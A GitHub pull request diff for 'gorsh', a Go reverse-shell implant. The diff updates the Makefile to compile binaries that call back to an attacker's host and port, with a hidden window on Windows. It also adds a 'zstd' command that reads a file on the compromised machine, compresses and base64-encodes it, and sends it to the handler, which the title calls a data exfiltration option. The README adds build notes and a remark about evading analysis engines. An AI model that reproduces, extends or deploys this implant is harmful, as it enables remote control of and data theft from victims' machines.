Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[help needed] adds zstd compression for new data exfil option #5

Merged
merged 3 commits into from
Sep 11, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 19 additions & 21 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,14 @@ SRV_PEM=local/server.pem

BUILD=go build
SRC=gorsh.go
LINUX_LDFLAGS=--ldflags "-w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
WIN_LDFLAGS=--ldflags "-w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui"

LINUX_LDFLAGS=--ldflags "$(STRIP) -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
WIN_LDFLAGS=--ldflags "$(STRIP) -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui"

STRIP=
#STRIP=-s
SUDO=sudo
# SUDO=

all: clean depends shell

Expand All @@ -22,31 +28,23 @@ depends:
shell:
GOOS=${GOOS} GOARCH=${GOARCH} ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}

linux32:
GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX}32 ${SRC}

linux64:
GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX}64 ${SRC}

windows32:
GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS}32.exe ${SRC}

windows64:
GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS}64.exe ${SRC}

macos32:
GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_MACOS}32 ${SRC}
CC=x86_64-w64-mingw32-gcc-7.3-posix \
CGO_ENABLED=1 GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS}64.exe ${SRC}

macos64:
GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_MACOS}64 ${SRC}
CC=x86_64-w64-mingw32-gcc-7.3-posix \
GCO_ENABGLED=1 GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_MACOS}64 ${SRC}

allthethings:
GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX}32 ${SRC}
GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX}64 ${SRC}
GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS}32.exe ${SRC}
GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS}64.exe ${SRC}
GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_MACOS}32 ${SRC}
GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_MACOS}64 ${SRC}
allthethings: linux64 windows64 macos64

clean:
rm -f ${SRV_KEY} ${SRV_PEM} ${OUT_LINUX} ${OUT_WINDOWS}
@rm -f ${SRV_KEY} ${SRV_PEM} ${OUT_LINUX} ${OUT_WINDOWS} ${OUT_MACOS} \
&& echo "ceritificates, keys and binaries removed successfully"
test:
@echo "it works!""

.PHONY : depends all allthethings macos64 macos32 windows64 windows32 linux64 linux32 shell depends mingw_packages clean
121 changes: 121 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -34,8 +34,108 @@ Roadmap:
Bacially PowerShell without PowerShell.


## Dependencies

I can only speak to dependencies require to build on a 64-bit Debian or Ubuntu machine,
but there is no significant diffuclt acquiring these packages on other distributions

```$ sudo apt-get install gcc-mingw-w64 binutils-mingw-w64-x86-64```

That's it as far cross-compiling to Windows64 goes. While it is often require during cross-compilation
to set variables like `$CC, $CXX, $AS, $LD, ...` it is not required as `go1.11 linux/amd64` picks
up on the presence of the toolchain it needs.

## Build problems

#### Not enabling CGO

If you are experiencing build problems, specifically this error:

```
# github.com/valyala/gozstd
../src/github.com/valyala/gozstd/stream.go:31:59: undefined: CDict
../src/github.com/valyala/gozstd/stream.go:35:64: undefined: CDict
../src/github.com/valyala/gozstd/stream.go:47:20: undefined: Writer
```

or

```
# github.com/valyala/gozstd
../src/github.com/valyala/gozstd/stream.go:31:59: undefined: CDict
../src/github.com/valyala/gozstd/stream.go:35:64: undefined: CDict
../src/github.com/valyala/gozstd/stream.go:47:20: undefined: Writer
```

The reason is because you need CGO_ENABLED=1 before your command. Simple fix.

#### 32/64 issue when compiling on native architecture for two word register sizes

If you are seeing the following:

```
# github.com/valyala/gozstd
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_common.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_compress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_double_fast.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_fast.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_lazy.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_ldm.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_opt.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zstd_decompress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(zdict.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(entropy_common.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(error_private.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(fse_decompress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(xxhash.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(fse_compress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(hist.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(huf_compress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(huf_decompress.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(cover.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(divsufsort.o)' is incompatible with i386 output
/usr/bin/ld: i386:x86-64 architecture of input file `/home/debian/goprojects/src/github.com/valyala/gozstd/libzstd_linux.a(pool.o)' is incompatible with i386 output
collect2: error: ld returned 1 exit status
Makefile:43: recipe for target 'linux32' failed
make: *** [linux32] Error 2
```

This is a result of installing a golang module that previously built a static library from native code using a different GOARCH but same GOOS. THe solution is
to run `go clean -i github.com/valyala/gozstd/` to remove it. This dependency should be removed and retrieved again with GOOARC and GOOS set, otherwise
it will continuously be incompatible with the host. Unfortunately, this doesn't seem to work very well. See the TODO section at the bootom.

#### Not setting CC to the correct mingw compiler for your system

If you are seeing this, specifically for the Windows target(s):

```
$ make windows64
CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build --ldflags "-w -X main.connectString=: -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in local/server.pem | cut -d '=' -f2) -H=windowsgui" -o binaries/windows/gorsh64.exe gorsh.go
# runtime/cgo
gcc: error: unrecognized command line option ‘-mthreads’; did you mean ‘-pthread’?
Makefile:43: recipe for target 'windows64' failed
make: *** [windows64] Error 2
```

The solution is to set CC in your environment to the correct mingw 64bit-64bit gcc-posix compiler. For example, on a native 64-bit system running Debian:

`export CC=/usr/bin/x86_64-w64-mingw32-gcc-6.3-posix`

After this, `make windows64` should work just fine

## Getting started

This project makes use of libraries that ue CGO which means you need native libraries for the
platform and architecture for which you are trying to build.

Specifically for this project, macOS and Linux targets will build just fine but to build for
Windows, a bit of setup is required.

```sh
# debian
sudo apt install gcc-mingw-w64
```

Check out the [official documentation](https://golang.org/doc/install) for an intro to developing
with Go and setting up your Golang environment (with the `$GOPATH` environment variable).

Expand Down Expand Up @@ -94,6 +194,27 @@ $ socat stdio OPENSSL-LISTEN:443,cert=server.pem,key=server.key,verify=0
Once executed, you will be provided with the gorsh shell.
Type `help` to show what commands are supported.

## Developers Notes: utstanding issues related to building (USER CAN IGNORE THIS)


### Issue #1 - Ensuring appropriate mingw compilers are available on your system

DEBIAN: `sudo apt-get install -y gcc-mingw-w64 g++-mingw-w64 binutils-mingw-w64-x86-64`
REDHAT: `sudo yum install mingw64-gcc mingw64-g+++ mingw64-binutils`
ARCH: `sudo packman -S mingw-w64-gcc mingw-w64-g++ mingw-w64-binutils`

### Issue #2 - Multilib builds of GCC are problematic when building on native host

You will notice that on a system with a multilib-enabled toolchain, `make linux64 && make linux32` will succeed on the first make but fail on the second make, unless the GOOS is different. This is because a library requiring native-c compilating was built using the hosts native architecture, and `go get` and/or `go build` did not respect `GOARCH=386`

This is not a huge problem, but it is an annoyance when having to build packages often.

Aside from not running a multilib-capable compiler on your system (this doesn't mean necessarily you won't have a muultilib system), the solution may be to maintain a pair of dedicated (non-multilib) compilers, and ensure that the `go get` or `go build` process uses those. Alternately, look into how one can pass CFLAGS during `go get` or `go build` of an external package.

While maintaining toolchains sounds like an awful lot of work, it isn't terrible if you utilize https://githug.com/richfelker/musl-cross-make and some pre-built toolchain config.mak files for forcing 32 bit builds on 64 bit hosts. Placing [this activate](https://github.com/mzpqnxow/gdb-static-cross/blob/44bddbd2f1fe3bdc41d401d754202aab67e7c3f4/activate-script-helpers/activate-musl-toolchain.env) file in the root of each resulting musl toolchain and sourcing it before building for the 32-bit architecture should more or less solve the problem. When building the i386 toolchain, ensure that the config.mak is not enabled for multilib! An example config.mak is available [here](

An issue and/or PR will be soon to follow if there is interest in fixing this "hidden" problem. It may be very rare in practice that *any* 32-bit binaries for *any* architecture are required. On the other hand, a 32-bit executable might throw off some analysis engines attempting to identify the project while deplpoyed/in-use.

## Credits

Initial Work - Ronan Kervella `<r.kervella -at- sysdream -dot- com>`
Expand Down
6 changes: 6 additions & 0 deletions fetch/fetch_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,12 @@

package fetch

import (
"fmt"
"io"
"os"
)

func Get(uri string, path string) (int64, error) {
var (
err error
Expand Down
21 changes: 21 additions & 0 deletions gorsh.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ import (
"github.com/audibleblink/gorsh/fetch"
"github.com/audibleblink/gorsh/shell"
"github.com/audibleblink/gorsh/sitrep"
"github.com/valyala/gozstd"
)

const (
Expand All @@ -32,6 +33,7 @@ var (
fingerPrint string
)

// Base64 encoding function
func Encode(path string) (string, error) {
buff, err := ioutil.ReadFile(path)
if err != nil {
Expand All @@ -40,12 +42,14 @@ func Encode(path string) (string, error) {
return base64.StdEncoding.EncodeToString(buff), err
}

// Helper method to send output to reverse shell handler
func Send(conn net.Conn, msg string) {
conn.Write([]byte("\n"))
conn.Write([]byte(msg))
conn.Write([]byte("\n"))
}

// Directory listing
func ListDir(argv []string) (string, error) {
var path string

Expand Down Expand Up @@ -75,6 +79,8 @@ func ListDir(argv []string) (string, error) {
}

// Takes a network connection as its arg so it can pass stdio to it
// Handles user input and dispatches commands to various functions
// TODO: Extract this and perhaps modularize to make adding functionality easier
func InteractiveShell(conn net.Conn) {
var (
exit bool = false
Expand Down Expand Up @@ -174,6 +180,20 @@ func InteractiveShell(conn net.Conn) {
net := sitrep.All()
Send(conn, net)

case "zstd":
if len(argv) != 2 {
Send(conn, "Usage: zstd <file>")
} else {
buf, err := ioutil.ReadFile(argv[1])
if err != nil {
Send(conn, err.Error())
} else {
compressed := gozstd.CompressLevel(nil, buf, 15)
data := base64.StdEncoding.EncodeToString(compressed)
Send(conn, data)
}
}

case "help":
Send(conn, "Currently implemented commands: \n"+
"cd [path] - Change the process' working directory\n"+
Expand All @@ -185,6 +205,7 @@ func InteractiveShell(conn net.Conn) {
"fetch <URI> <file> - Fetch stuff. http[s]:// or //share/folder (Windows only)\n"+
"shell - Drops into a native shell. Mind your OPSEC\n"+
"sitrep - Situation Awareness information\n"+
"zstd <file> - Compress and base64 endode file and print\n"+
"\n")
default:
Send(conn, "Command not implemented. Try 'help'")
Expand Down